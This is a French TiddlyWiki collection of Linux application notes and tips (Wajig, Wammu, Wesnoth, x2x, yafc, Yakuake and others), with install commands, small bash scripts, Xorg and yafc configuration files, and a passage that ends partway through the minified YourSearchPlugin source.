''Description: ''Wajig est un utilitaire permettant de commander, au sein d'une seule application, les outils de gestion de packages: dpkg, apt-get, apt-cache, auto-apt, aptitude, apt-file. De plus il permet de lister les fichiers les plus lourds, les derniers paquets installés, les logiciels non-libres installés, les daemons en cours... et encore bien plus.

Ce serait tellement plus simple si vous pouviez avoir un seul programme qui ferait tout ce que font ces outils, et peut être même plus ? Alors wajig est fait pour vous !

''Installation: ''{{{# aptitiude install wajig}}}

''Notes: ''lancement de l'application avec:
{{{
# gjig
}}}
''Nom de l'application'': ''@@color(red): Wammu @@''
Mots clef: télephone portable, sony ericsson, bluetooth
Liens: [[site officiel| http://wammu.eu/ ]]
<<<
''Description: ''Wammu est un gestionnaire de télephone portable fonctionnant sous Linux et Windows. Il permet également la connexion par bluetooth. Permet la récupération et sauvegarde de l'ensemble des données du portable.

''Installation: ''[[via apt|apt://wammu]]

''Utilisation: ''via l'assistant de connexion.
''Nom de l'application'': ''@@color(red): Warsow @@''
Mots clef: jeux
Liens: [[site officiel|http://warsow.net/]]
<<<
''Description: '' Warsow est un FPS (First Person Shooter),  jeu de tir subjectif en réseau (pas de mode solo) basé sur le moteur de Quake 2. "Toutefois, pas besoin d'être un joueur d'exception pour s'amuser. Avec ses graphismes originaux en cell shading, sa légèreté et son style de jeu survolté, c'est donc un très bon défouloir, voire plus si affinités."
''Installation: '' 
{{{
$ wget http://mirroir.net/warsow_0.12_linux.tar.gz
$ tar xzvf warsow_0.12_linux.tar.gz
$ cd warsow
$ ./warsow
}}}
''Notes: ''Disponible également pour windows. Voir aussi AssaultCube.
<<<
But: ''fusionner à votre fond d'écran un webcomic, ici http://www.xkcd.com/''
Mots clef: fond d'écran, wallpaper
<<<
''Notes: ''le répertoire contenant le script contiendra les fichiers suivants:
xkcdget.sh  - le script
xkcd.png  - l'image du webcomic
xkcdwallpaper.png - l'image finale affichée en fond d'écran
dkg.png - l'image de base du fond d'écran 
url.txt  - l'url de l'image du webcomic
url.txt.old  - l'url de la dernière image utilisée du webcomic
log.txt  - l'historique des mises à jour du fond d'écran

''Script: '' 
{{{
#!/bin/bash

############################################################################
#                                                                          #
# Ce script permet de créer un fond d'écran à partir de la fusion de la    #
# dernière image publiée sur http://xkcd.com et d'une image de son choix.  #
# Ce script dépend de curl et imagemagick                                  #
#                                                                          #
######################@Bartux 2007##########################################


############################ Declaration de variables ######################

#URl de la source
URl=http://www.xkcd.com/rss.xml	#URl du fichier rss de xkcd
#adresse de curl
EXEC="/usr/bin/curl -s"
# Répertoire contenant et le script et l'image que l'on a défini comme papier peint
REP="/home/bart/Scripts/xkcdWallpaper" 
# Date actuelle
TIMESTAMP=`date +%Y_%m_%d_`
############################ debut du script ################################# 

cd $REP
cp url.txt url.txt.old

#Traitement du fichier rss
$EXEC $URl | xargs -n1 | grep src |\
sed -r 's/.*(http.*)/\1/' |\
sed -e 's/src\=\"//' -e 's/\"//' |\
head -n $((1)) |\
tail -n $((1)) > url.txt
if cmp -s url.txt url.txt.old
then 
echo "pas de nouveau webcomic ;("
else

#Sauvegarde de l'ancienne image dans le dossier archives
cp xkcd.png ./archives/${TIMESTAMP}xkcd.png

#Récupération de l'image
wget -i url.txt -O xkcd.png

#Sauvegarde de l'image dans le dossier archives
cp xkcd.png ./archives/${TIMESTAMP}xkcd.png

#Conversion de l'image en niveau de gris
convert  xkcd.png  -modulate 100,0  xkcd.png

#Rend le blanc tranparent puis inverse les couleurs
convert xkcd.png -transparent white -negate xkcd.png

#Augmente le contraste
convert xkcd.png  -level 20%  xkcd.png

#Rend le noir tranparent
convert xkcd.png -transparent black xkcd.png

#Fusionne l'image avec le papier-peint
composite -dissolve 90 -gravity SouthEast -geometry +5+75  xkcd.png dkg.png -matte xkcdwallpaper.png

#Redéfinit le papier-peint à l'aide de la nouvelle image
dcop kdesktop KBackgroundIface setWallpaper $REP/xkcdwallpaper.png 6
date >> log.txt
fi
############################ fin du script ####################################
}}}
 
''Nom de l'application'': ''@@color(red): Extensions Firefox aides au développement web @@''
Mots clef: Extensions, web, site Internet
<<<
''Description: ''Outils d'aide au développement de sites Internet sous forme d'extension Firefox.

|[[Web Developper|http://chrispederick.com/work/web-developer/]]|véritable couteau suisse du développeur web|
|[[DOM Inspector|https://addons.mozilla.org/fr/firefox/addon/6622]]|permet de voir une page Web exactement comme Mozilla la voit|
|[[ColorZilla|http://www.colorzilla.com/firefox/]]|aide au choix des couleurs et de leur codage|
|[[Extension Developer|https://addons.mozilla.org/fr/firefox/addon/7434]]|suite d'outils pour développeurs|
|[[HTML Validator|http://users.skynet.be/mgueury/mozilla/]]|permet de vérifier la syntaxe de vos pages html 4.01 et xhtml et de comptabiliser le nombre d'erreur. Une fois l'extension ajoutée, le simple raccourci CTRL+ U permet d'afficher la source et lancer le test.*|

//*Nécessite l'installation des paquets les paquets libxul-dev et libstdc++5: [[via apt|apt://libxul-dev,libstdc++5]]//

''Notes: ''voir aussi [[12 extensions Firefox pour le développeur web|http://www.framasoft.net/article4783.html]] sur framasoft.net
''Nom de l'application'': ''@@color(red): Wesnoth @@''
Mots clef: jeux
Liens: [[source| http://blog.mobilisoft.com/?2006/12/27/127-battle-for-wesnoth-12 ]]
<<<
''Description: ''Evoluant dans un univers fantastico-médiéval, ce jeu multi-plateforme fonctionne parfaitement sous Ubuntu. Semblable à un jeu de rôle (points de vie, attaque, défense, probabilité de réussite, caractéristiques des créatures). On peut y jouer seul (en suivant une campagne, ou contre l'ordinateur) ou à plusieurs en réseau local ou sur internet.

''Installation: ''{{{aptitude install wesnoth}}} (paquet de base)
puis installer les paquets suivants:
wesnoth-editor (editeur de carte)
wesnoth-music (musique)
wesnoth-server (si vous souhaitez héberger un serveur de jeu)
wesnoth-ei, wesnoth-httt, wesnoth-sotbe, wesntoh-throw (campagnes)

''Notes: ''pour comprendre rapidement comment jouer: suivre le didacticiel 
''Nom de l'application'': ''@@color(red): Winff @@''
Mots clef: vidéo, conversion
Liens: [[site officiel|http://biggmatt.com/winff/ ]]
<<<
''Description: ''winff est un frontend graphique pour ffmeg, permettant la conversion de et vers presque tous les formats vidéo.

''Installation: ''Paquet .deb sur le site officiel.

''Notes: ''
#Si ffmpeg a été compilé sans certain codecs indispensable (comme pour la conversion vers le format .3gp pour téléphone mobile), le programme Mobile Media Converter offre un fork de winff avec un ffmep pré-compilé [[ici|http://www.miksoft.net/mobileMediaConverter.htm]] (aussi disponible pour windows).
#Pour une utilisation en ligne de commande de ffmpeg, voir FfmpegUsageCommand
Astuce: ''Faire fonctionner une carte Wireless BCM4318 AirForce Card (pour portable Asus a6m-Q042H''
Mots clef: Réseau, carte, ndiswrapper
Os: Ubuntu dapper
Liens: [[source| http://ubuntuforums.org/showthread.php?t=190177 ]]
<<<
* Désactiver les drivers pré-installés bcm43xx:
Nous allons blacklister ces drivers en éditant le fichier ///etc/modprobe.d/blacklist// et en ajoutant la ligne suivante:
{{{
blacklist bcm43xx
}}}
Il faut ensuite redémarrer.
* Installer ndiswrapper
{{{$ apt-get install ndiswrapper-utils}}}
* Installer le driver windows
Récupérer le driver windows //bcmwl5.inf// (sur le cd où dans une partition windows)
Installer ce driver à l'aide de ndiswrapper:
{{{$ sudo ndiswrapper -i ~/Desktop/bcmwl5.inf}}} 
puis
{{{$ sudo ndiswrapper -m}}} 
et pour finir
{{{$ sudo modprobe ndiswrapper}}}
{{{$ echo ndiswrapper >> /etc/modules}}}

NB: pour lister les drivers installés à l'aide de ndiswrapper:
{{{$ sudo ndiswrapper -l}}} 
de même que l'option {{{-e}}} permet de désinstaller un driver.
<<<
''Nom de l'application'': ''@@color(red): x2x @@''
Mots clef: partage, réseau, écran
Liens: [[site officiel|http://x2x.dottedmag.net/ ]]
<<<
''Description: ''x2x permet (comme SynErgy) le partage du clavier et de la souris entre deux ordis. Il s'agit donc d'une version software d'un switch KVM. x2x est particulièrement utile dans si l'on désire un transfert sécurisé.

''Installation: ''{{{# aptitude install x2x}}}

''Utilisation: ''
*Depuis la machine de contrôle:
{{{
$ ssh -X user@ipMachine x2x -to :0.0 -west
}}}
*Depuis la machine contrôlée:
{{{
$ echo 'TO=$DISPLAY;env DISPLAY=:0 x2x -east -to $TO' | env DISPLAY=:0 ssh -X MonDeskFixe
}}}
''Notes: ''x2x a pour lui la sécurité et la simplicité et SynErgy à l'avantage de permettre le copier/coller entre machines, de pouvoir utiliser plus que 2 machines et d'être multi-OS.
''Nom de l'application'': ''@@color(red): Xchat @@''
Mots clef: chat, irc
Liens: [[site officiel|http://www.xchat.org/]]
<<<
''Description: ''Client graphique IRC libre compatibilité avec la plupart des systèmes d’exploitation.

''Installation: ''{{{# aptitude install xchat}}}

''Utilisation: ''Très simple d'utilisation

''Notes: ''voir aussi IrSsi pour un client en ligne de commande.
''Nom de l'application'': ''@@color(red): xclip @@''
Mots clef: ligne de commande, copie, console, clipboard
<<<
''Description: ''xclip permet d'effectuer des copies d'actions en ligne de commande vers le presse-papier

''Installation: ''[[via apt|apt://xclip]]

''Utilisation: ''
Pour copier le contenu d'un fichier dans le presse-papier:
{{{
$ xclip < /etc/apt/sources.list
}}}
Pour copier le résultat d'une commande dans presse papier:
{{{
$ dmesg|xclip
}}}
''Nom de l'application'': ''@@color(red): Xli @@''
Mots clef: graphise, images, viewer
<<<
''Description: ''Un petit programme très basique permettant d'afficher des fichiers images.

''Installation: ''{{{# aptitude install xli}}}

''Utilisation: ''Il existe plusieurs options (voir page man), en particulier:
{{{
$ xli -fillscreen monImage.jpg
}}}
''Nom de l'application'': ''@@color(red): Xnest @@''
Mots clef: serveur X, session graphique
Liens: [[source| http://allergy.alrj.org/gruik/ ]]
<<<
''Description: ''Xnest permet d'ouvrir une fenêtre à l'écran, qui est elle-même un serveur X limité.

''Installation: ''{{{# aptitude install xnest}}}

''Utilisation: ''
{{{
$ Xnest :1 &
$ DISPLAY=:1 xterm &
}}}
''Nom de l'application'': ''@@color(red): Xplanet @@''
Mots clef: terre, planète, espace, fond d'écran, wallpaper
Liens: [[site officiel| http://xplanet.sourceforge.net/ ]]
<<<
''Description: ''Xplanet permet de représenter la Terre ou quelques autres planètes du système solaire (Mars, Venus, Mercure, Lune), vues de l'Espace. En particulier, il est possible d'afficher une planète en fond d'écran de manière à pouvoir suivre, au fil de la journée, l'évolution de la luminosité.

''Installation: ''{{{# aptitude install xplanet xplanet-images}}}

''Utilisation: ''Afin de pouvoir utiliser xplanet en fond d'écran, la marche à suivre est relativement aisée pour KDE et peut être suivie [[ici|http://xplanet.sourceforge.net/FAQ.php]]; pour gnome, voir ce [[tuto|http://linux-facile.blogspot.com/2007/08/un-fond-cran-bien-terrestre.html]].

''Notes: ''Le petit logiciel SunClock permet également d'afficher une carte de la terre et des zones éclairées par le soleil.
''Nom de l'application'': ''@@color(red): Xaos @@''
Mots clef: science, mathématiques
Liens: [[site officiel| http://xaos.sourceforge.net/]]
<<<
''Description: ''Xaos est un petit logiciel de visualisation interactive de fractales.

''Installation: ''[[via apt|apt://xaos]]

''Utilisation: ''un tutoriel en anglais [[ici|http://xaos.sourceforge.net/doc/tutorial.html#body]]

''Notes: ''voir aussi Gnofract4D
''Nom de l'application'': ''@@color(red): Xara Xtreme @@''
Mots clef: graphisme, dessin vectoriel
Liens: [[site officiel| http://www.xaraxtreme.org/ ]]
<<<
''Description: ''Logiciel de dessin vectoriel pour la modelisation 2D et 3D

''Installation: ''Télecharger l'archive "autopackage" (actuellement version 0.7 Revision 1692, 19MB) [[ici|http://www.xaraxtreme.org/download/]]. Puis rendre ce fichier exécutable avec un petit {{{$chmod +x lefichier}}}, ce qui va lancer l'installeur. Si vous ne trouvez pas l'icone pour démarrer (probablement présent lors du prochain démarrage) faites: {{{$ xaralx}}}
<<<
''Nom de l'application'': ''@@color(red): Xcfa @@''
Mots clef: conversion, mp3, ogg, audio
Liens: [[site officiel|http://bulin.claude.neuf.fr/xcfa-download.html ]]
<<<
''Description: ''Véritable couteau suisse de la conversion audio (permet en plus de réaliser la jaquette de votre compilation).

''Installation: ''Installer le fichier .deb à partir du site officiel.

''Notes: ''voir aussi GnormaliZe et SoundConverter ou ConversionWMAmp3OGGwav pour les .wma
''Nom de l'application'': ''@@color(red): Xdiskusage @@''
Mots clef: système, taille partitions, dossier
<<<
''Description: ''Petit utilitaire qui permet d'obtenir très simplement un aperçu graphique de la taille des principaux fichiers ainsi que des partitions.

''Installation: ''{{{# aptitude install xdiskusage}}}
Astuce: ''Fichier Xorg pour un affichage en dual screen et TwinView''
Mots clef: écran dual TwinView
Os: Linux

<<<
{{{
# nvidia-settings: X configuration file generated by nvidia-settings
# nvidia-settings:  version 260.19.06  (buildd@palmer)  Mon Oct  4 16:01:38 UTC 2010

# nvidia-xconfig: X configuration file generated by nvidia-xconfig
# nvidia-xconfig:  version 260.19.06  (buildmeister@builder101)  Mon Sep 13 07:06:38 PDT 2010

Section "ServerLayout"
    Identifier     "Layout0"
    Screen      0  "Screen0" 0 0
    InputDevice    "Keyboard0" "CoreKeyboard"
    InputDevice    "Mouse0" "CorePointer"
    Option         "Xinerama" "0"
EndSection

Section "Files"
EndSection

Section "InputDevice"

    # generated from default
    Identifier     "Mouse0"
    Driver         "mouse"
    Option         "Protocol" "auto"
    Option         "Device" "/dev/psaux"
    Option         "Emulate3Buttons" "no"
    Option         "ZAxisMapping" "4 5"
EndSection

Section "InputDevice"

    # generated from default
    Identifier     "Keyboard0"
    Driver         "kbd"
EndSection

Section "Monitor"
    Identifier     "Monitor0"
    VendorName     "Unknown"
    ModelName      "BenQ FP71G X"
    HorizSync       31.0 - 83.0
    VertRefresh     56.0 - 76.0
    Option         "DPMS"
EndSection

Section "Device"
    Identifier     "Device0"
    Driver         "nvidia"
    VendorName     "NVIDIA Corporation"
    BoardName      "GeForce 8400M GS"
EndSection

Section "Screen"
    Identifier     "Screen0"
    Device         "Device0"
    Monitor        "Monitor0"
    DefaultDepth    24
    Option         "TwinView" "1"
    Option         "TwinViewXineramaInfoOrder" "CRT-0"
    Option         "metamodes" "CRT: nvidia-auto-select +0+0, DFP: nvidia-auto-select +1280+0"
    SubSection     "Display"
        Depth       24
    EndSubSection
EndSection
}}}
''Nom de l'application'': ''@@color(red): Xvidcap @@''
Mots clef: vidéo, capture d'écran, screencast
Liens: [[site officiel|http://xvidcap.sourceforge.net/ ]]
<<<
''Description: ''Xvidcap permet de faire des captures d'écran sous forme de vidéo en format avi.

''Installation: ''{{{# aptitude install  xvidcap}}}

''Notes: ''Utilisation
Lancez un terminal et entrez la commande:
{{{
$ xvidcap --cap_geometry 640x480+30+45 --time 60 --file fichier.avi
}}}
Les options :
* {{{--cap_geometry=640x480+30+45}}} Cette option dit au programme de capturer une vidéo qui a une largeur de 640 pixels, une hauteur de 480 pixels, une position de (x=30, y=45) ;
* {{{--time 60}}} Cela veut dire que l'enregistrement sera de 60 secondes (Si vous mettrez 0, xvidcap va attendre que vous stoppiez l'enregistrement d'une manière manuelle) ;
* {{{--file fichier.avi}}} Cette option indique au programme le chemin vers le fichier vidéo.
Il y a un très grande nombre d'options: man xvidcap
Voir aussi: IstanBul (enregistrer en format .mpeg),  GtkRecordMyDesktop (enregistrer en format .ogg), ByZanz (enregistrer en format .gif animé) et encore VlcScreenCast bien sympa.
''Nom de l'application'': ''@@color(red): Yafc @@''
Mots clef: réseau, ftp, console
<<<
''Description: '' "Yet Another Ftp Client" est un client ftp en mode console simple d'utilisation.

''Installation: '' {{{apt-get install yafc}}}

''Notes: '' 
#Ce programme se configure à l'aide du fichier /etc/yafcrc. L'on trouvera un exemple de fichier de configuration à la fin du présent tiddler.
#Voir une utilisation par script avec YaFcFTPAutomatic.

''Utilisation :''
*Pour se connecter 
En utilisateur toto sur le serveur ftp.exemple.org : 
{{{$ yafc toto@ftp.exemple.org}}}
En anonyme sur le serveur FTP archive.debian.org :
{{{$ yafc -a archive.debian.org}}}
Une fois connecté, un nouveau prompt apparaît :
{{{yafc login@nom_du_serveur:~> }}}
*Les commandes de base disponibles à ce prompt sont les suivantes (la complétion automatique des noms de fichiers marche) :
help : affiche la liste des commandes disponibles,
#ls : liste le contenu du répertoire distant,
#ls -la : liste le contenu du répertoire distant avec les fichiers cachés et les permissions,
#cd répertoire : change de répertoire distant,
#lcd répertoire : change de répertoire local,
#get fichier : télécharge le fichier,
#get *.img : télécharge tous les fichiers avec l'extension img,
#get -r répertoire : télécharge le répertoire,
#get - -help : affiche l'aide de la commande get,
#put fichier : dépose le fichier,
#put test* : dépose tous les fichiers dont le nom commence par test,
#exit : met fin à la connexion.

Contenu de yafcrc:
{{{
# /etc/yafcrc
# Fichier de configuration de yafc, un client pour le transfert de fichiers
# par FTP et par SSH.
# Formation Debian GNU/Linux par Alexis de Lattre
# http://www.via.ecp.fr/~alexis/formation-linux/

# If you plan to save passwords in this file,
# make sure permissions is no more than 0600 (chmod 0600 yafcrc)

# You can include any other file using the 'include' statement
#include ~/.yafc/other_preferences

# set password used for anonymous logins
anon_password "toto@hotmail.com"

# attempt to login automagically, using login info in bookmarks
autologin on

# attempt to reconnect automatically on timed out connection
autoreconnect on

# quit program if received EOF (C-d)
quit_on_eof yes

# read bookmark entries from ~/.netrc
read_netrc yes

# use passive mode connections
# if false, use sendport mode
# if you get the message "Host doesn't support passive mode", set to false
use_passive_mode yes

# do reverse DNS lookups?
reverse_dns yes

# show some more information (all replies)
verbose off
# print ftp commands sent to server + all replies
debug off
# create trace files
trace off

# path to the SSH program
#ssh_program "/usr/bin/ssh"

# path to the remote sftp-server program
# leave commented to use sftp subsystem (requires ssh > 2.3.0)
#sftp_server_program "/usr/libexec/sftp-server"

# set to true to skip query of remote system on connect
inhibit_startup_syst no

# use environment string to show information
# can be seen in the process list with 'ps'
use_env_string yes

# use tab to complete remote files
remote_completion on

# auto-create a bookmark when connection closed?
auto_bookmark yes # no/yes/ask

# by default, if auto_bookmark is true, non-anonymous passwords are not saved
# anonymous passwords are always saved though
# if auto_bookmark is 'ask', you will be asked whehter to save password or not
# remember: passwords are stored in clear text!!! (well, base64-encoded...)
auto_bookmark_save_passwd NO

# don't print "created bookmark 'foo', bookmarks saved"
auto_bookmark_silent no

# default type for file transfers
# ascii mode not recommended since it can mess up binary files
# see also 'ascii_transfer_mask' below
default_type binary # ...or ascii

# default security machanisms to use, separated with colon
# valid arguments are krb4, krb5 and none
#default_mechanism "krb4:krb5:none"
#default_mechanism krb4

# filenames matching any of these masks are transferred in ascii mode,
# ignoring the value of 'default_type'
# masks are separated by colons (eg. "*.ext1:*.ext2:filename*:")
# can be overridden with the --type option to get/put
# case sensitive
ascii_transfer_mask "README:*.html:*.htm:*.txt"
ascii_transfer_mask "*.dsc:*.lsm:*.md5"

# beep after a 'long' command is finished
beep_after_long_command yes

# number of seconds for command to become 'long'
long_command_time 30

# how long (in seconds) before aborting a command without response
command_timeout 42
# how long (in seconds) before aborting a connection without response
connection_timeout 30

# number of times to try to re-connect if login failed (due to busy server)
#  -1 for unlimited number of tries, 0 to disable
connect_attempts 10
# number of seconds to wait between connection attempts
connect_wait_time 30

# save and load history lines in ~/.yafc/history
# (this is a no-op if not compiled with readline)
use_history yes

# max number of history lines to save
# (this is a no-op if not compiled with readline)
history_max 256

# Yafc will cd to this (local) directory upon startup
#startup_local_directory ~/download

# if set, Yafc sends mail to this address when nohup transfers are finished
#nohup_mailaddress someusername@somedomain

# complete path to sendmail used by nohup_mailaddress above
#sendmail_path "/usr/sbin/sendmail"

# load saved taglist on connect to same site?
# if no, taglist will never be saved
load_taglist yes # yes/no/ask

# display ~ instead of full home directory path for various commands
tilde yes

# aliases (on the form [alias name value])
# can't make an alias of another alias

alias dir "ls -lF --color"
alias ls "ls -F --color"
alias s "cd .."
alias rels "cache --touch %*; ls -F %*"
alias pls "ls -F %* |$PAGER"
alias bye quit
alias exit quit
alias ? "help"
alias binary "set type binary"
alias ascii "set type ascii"
alias get "get --verbose --preserve"
alias put "put --verbose"
alias rm "rm --verbose"
alias lrm "shell rm"
alias lls "shell ls -F --color"
alias lmkdir "shell mkdir"
alias lrmdir "shell rmdir"
alias lcat "!cat"
alias zcat "cat --type=binary %* | zcat"
alias bzcat "cat --type=binary %* | bzcat"
alias page "cat --type=ascii %* | $PAGER"
alias zpage "cat --type=binary %* | zcat | $PAGER"
alias bzpage "cat --type=binary %* | bzcat | $PAGER"
alias show_trace "!$PAGER $HOME/.yafc/trace/trace.$PPID"

# ftp prompts
#
# special codes:
# %u      username
# %h      remote host name (as passed to open)
# %H      %h up to the first '.'
# %m      remote machine name (as returned by gethostbyname)
# %M      %m up to the first '.'
# %n      remote ip number
# %[#]w   current remote working directory
# %W      basename of %w
# %[#]~   as %w but home directory is replaced with ~
# %[#]l   current local working directory
# %%      percent sign
# %#      a '#' if (local) user is root, else '$'
# %c      number of open connections
# %C      current connection number
# %{      begin sequence of non-printing chars, ie escape codes
# %}      end      -"-
# \e      escape (0x1B)
# \n      newline
# \t      tab
# \r      carriage return
# \b      backspace
# \x##    character 0x## (hex)
#
# [#] means an optional width specifier can be specified
#  example: %32w
#
# you can put escape codes here, for example if you want a colored prompt
#  "%{\e[01;31m%}ftp%{\e[0m%}" will be "ftp" in red, if your terminal supports
#  ISO 6429 (ANSI) color codes.
#
# note: the %{ and %} codes are needed for readline to correctly wrap
#  lines with embedded escape codes
#
# (ANSI) Attribute codes:
# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
# Text color codes:
# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
# Background color codes:
# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white

prompt1 "yafc> "                    # not connected
prompt2 "yafc %h> "                 # connected but not logged in
prompt3 "yafc %u@%h:%42~> "         # connected and logged in

# Xterm window titles
# same codes as for the prompts above
# see the Xterm-title mini-HOWTO for more information
xterm_title1 "\e]0;yafc\x07"            # not connected
xterm_title2 "\e]0;yafc %h\x07"         # connected but not logged in
xterm_title3 "\e]0;yafc %u@%h:%~\x07"   # connected and logged in

# $TERM's which can handle xterm escape sequences
xterm_title_terms "xterm xterm-debian rxvt"

# transfer status string codes
# these strings are printed with the --verbose option to get/put
# 
# %r   - remote filename         (actually _source_ filename)
# %R   - remote filename w/path  (actually _source_ filename)
# %l   - local filename          (actually _target_ filename)
# %L   - local filename w/path   (actually _target_ filename)
# %s   - size transferred so far
# %S   - total size (if available)
# %e   - ETA (time left)
# %p   - percent transferred
# %%   - percent sign
# %b   - transfer rate (Bps)
# %B   - transfer rate (Bps) or "stalled" if stalled
# %t   - time elapsed
# %v   - visual progress bar
# %{   - begin sequence of non-printing chars, ie escape codes
# %}   - end sequence of non-printing chars
#
# you can specify an (optional) max width between the '%' and
# the character code
# escape codes are recognized (enclose in %{ and %} pairs)

# this string is printed before the actual transfer begins
#transfer_begin_string "%{\e[32m%}%-70R%{\e[0m%}\n"
transfer_begin_string "%-70R\n"

# this string is printed (approx.) every second or so during the transfer
# with a trailing carriage return
#transfer_string "%-38R   [%25v] %B"
#transfer_string "%-35R   %s of %S ETA %e %B"
#transfer_string "%5p%% [%{\e[32m%}%25v%{\e[0m%}] %s/%S ETA %{\e[32m%}%e%{\e[0m%} %B"
transfer_string "%5p%% [%25v] %s/%S ETA %e %B"

# this string is printed when the transfer is finished
#transfer_end_string "%-35R   %p%% of %S in %t (%b)\n"
transfer_end_string ""

# this string is printed at the same time as transfer_string if current
# $TERM is defined in xterm_title_terms
# Use to show dynamic info in the xterm title bar
transfer_xterm_string "\e]0;%p%% - %R - yafc\x07"


#
# Proxy settings
#

# proxy_type is the type of proxy, valid arguments:
#
# 0 - no proxy (default)
# 1 - connect to proxy, USER real_user@real_host, PASS real_password
# 2 - login to proxy, USER real_user@real_host, PASS real_password
# 3 - login to proxy, SITE real_host, USER real_user, PASS real_password
# 4 - login to proxy, OPEN real_host, USER real_user, PASS real_password
# 5 - connect to proxy, USER real_user@proxy_user@real_host, PASS real_password@proxy_password
# 6 - connect to proxy, USER proxy_user@real_host, PASS proxy_password, USER realuser, PASS real_password

proxy_type 0

# the proxy host to connect to including
# username, password and port (all optional)
# if username or password not given, you will
# be prompted for it
#proxy_host user:pass@host:port
# examples:
# connect to proxy host at port 21, prompt for username and password:
#proxy_host host
# connect to proxy host at port 4711, use username nisse and prompt for password:
#proxy_host nisse@host:4711

# list of hosts to exclude from proxying (separated with colon)
# 'localnet' specifies unqualified hosts (within your domain)
proxy_exclude localhost:localnet

# end of configuration file

}}}
But: ''Envoyer des fichier automatiquement sur un serveur ftp grâce à YaFc''
Mots clef: ftp
<<<
''Notes: ''Permet d'automatiser l'envoie de fichier par ftp

''Utilisation: ''simplement lancer le script

''Script: '' 
{{{
#!/bin/bash

cd /monRépertoire
yafc userName:Password@ftp.adresse.com<<**
put -f *.jpg
bye
**
}}}
 
''Nom de l'application'': ''@@color(red): Yakuake @@''
Mots clef: bash console kde
Liens: [[site officiel|http://yakuake.uv.ro/ ]]
<<<
''Description: ''//Yet another Kuake//, terminal bash pour kde.

''Installation: ''{{{apt-get install yakuake}}}

''Notes: ''Fait apparaître un terminal du haut de l'écran (touche F12) à l'instar de celui de Quake. Lancer ~YaKuake est plus rapide qu'ouvrir un nouveau terminal parce que le programme est déjà chargé en mémoire. Plusieurs consoles disponible grâce à shift+"flèche haut" (configurable), passer d'une console à l'autre grâce à shift+"flèche gauche/droite". Option de transparence très esthétique;) La nouvelle version permet de "splitter "l'affichage ainsi que de passer en fullscreen.
Un autre prog. dans le même style (mais moins beau tout de même): Tilda
<<<
''Nom de l'application'': ''@@color(red): youtranslate @@''
Mots clef: bureautique, traduction
<<<
''Description: ''Petit programme pratique de traduction utilisant au choix: google, babelfish, systran ou babelfish yahoo.

''Installation: ''{{{apt-get install youtranslate}}}
<<<
/***
|''Name:''|YourSearchPlugin|
|''Version:''|2.1.5 (2010-02-16)|
|''Source:''|http://tiddlywiki.abego-software.de/#YourSearchPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2005-2010 [[abego Software|http://www.abego-software.de]]|
|''~CoreVersion:''|2.1.0|
|''Community:''|[[del.icio.us|http://del.icio.us/post?url=http://tiddlywiki.abego-software.de/index.html%23YourSearchPlugin]]|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; ~InternetExplorer 6.0|
!About YourSearch
YourSearch gives you a bunch of new features to simplify and speed up your daily searches in TiddlyWiki. It seamlessly integrates into the standard TiddlyWiki search: just start typing into the 'search' field and explore!

For more information see [[Help|YourSearch Help]].
!Compatibility
This plugin requires TiddlyWiki 2.1. 
Check the [[archive|http://tiddlywiki.abego-software.de/archive]] for ~YourSearchPlugins supporting older versions of TiddlyWiki.
!Source Code
***/
/***
This plugin's source code is compressed (and hidden). Use this [[link|http://tiddlywiki.abego-software.de/archive/YourSearchPlugin/Plugin-YourSearch-src.2.1.5.js]] to get the readable source code.
***/
///%
if(!version.extensions.YourSearchPlugin){version.extensions.YourSearchPlugin={major:2,minor:1,revision:5,source:"http://tiddlywiki.abego-software.de/#YourSearchPlugin",licence:"[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",copyright:"Copyright (c) abego Software GmbH, 2005-2010 (www.abego-software.de)"};if(!window.abego){window.abego={};}if(!Array.forEach){Array.forEach=function(_1,_2,_3){for(var i=0,_4=_1.length;i<_4;i++){_2.call(_3,_1[i],i,_1);}};Array.prototype.forEach=function(_5,_6){for(var i=0,_7=this.length;i<_7;i++){_5.call(_6,this[i],i,this);}};}abego.toInt=function(s,_8){if(!s){return _8;}var n=parseInt(s);return (n==NaN)?_8:n;};abego.createEllipsis=function(_9){var e=createTiddlyElement(_9,"span");e.innerHTML="&hellip;";};abego.shallowCopy=function(_a){if(!_a){return _a;}var _b={};for(var n in _a){_b[n]=_a[n];}return _b;};abego.copyOptions=function(_c){return !_c?{}:abego.shallowCopy(_c);};abego.countStrings=function(_d,s){if(!s){return 0;}var _e=s.length;var n=0;var _f=0;while(1){var i=_d.indexOf(s,_f);if(i<0){return n;}n++;_f=i+_e;}return n;};abego.getBracedText=function(_10,_11,_12){if(!_11){_11=0;}var re=/\{([^\}]*)\}/gm;re.lastIndex=_11;var m=re.exec(_10);if(m){var s=m[1];var _13=abego.countStrings(s,"{");if(!_13){if(_12){_12.lastIndex=re.lastIndex;}return s;}var len=_10.length;for(var i=re.lastIndex;i<len&&_13;i++){var c=_10.charAt(i);if(c=="{"){_13++;}else{if(c=="}"){_13--;}}}if(!_13){if(_12){_12.lastIndex=i-1;}return _10.substring(m.index+1,i-1);}}};abego.select=function(_14,_15,_16,_17){if(!_17){_17=[];}_14.forEach(function(t){if(_15.call(_16,t)){_17.push(t);}});return _17;};abego.consumeEvent=function(e){if(e.stopPropagation){e.stopPropagation();}if(e.preventDefault){e.preventDefault();}e.cancelBubble=true;e.returnValue=true;};abego.TiddlerFilterTerm=function(_18,_19){if(!_19){_19={};}var _1a=_18;if(!_19.textIsRegExp){_1a=_18.escapeRegExp();if(_19.fullWordMatch){_1a="\\b"+_1a+"\\b";}}var _1b=new RegExp(_1a,"m"+(_19.caseSensitive?"":"i"));this.tester=new abego.MultiFieldRegExpTester(_1b,_19.fields,_19.withExtendedFields);};abego.TiddlerFilterTerm.prototype.test=function(_1c){return this.tester.test(_1c);};abego.parseNewTiddlerCommandLine=function(s){var m=/(.*?)\.(?:\s+|$)([^#]*)(#.*)?/.exec(s);if(!m){m=/([^#]*)()(#.*)?/.exec(s);}if(m){var r;if(m[3]){var s2=m[3].replace(/#/g,"");r=s2.parseParams("tag");}else{r=[[]];}var 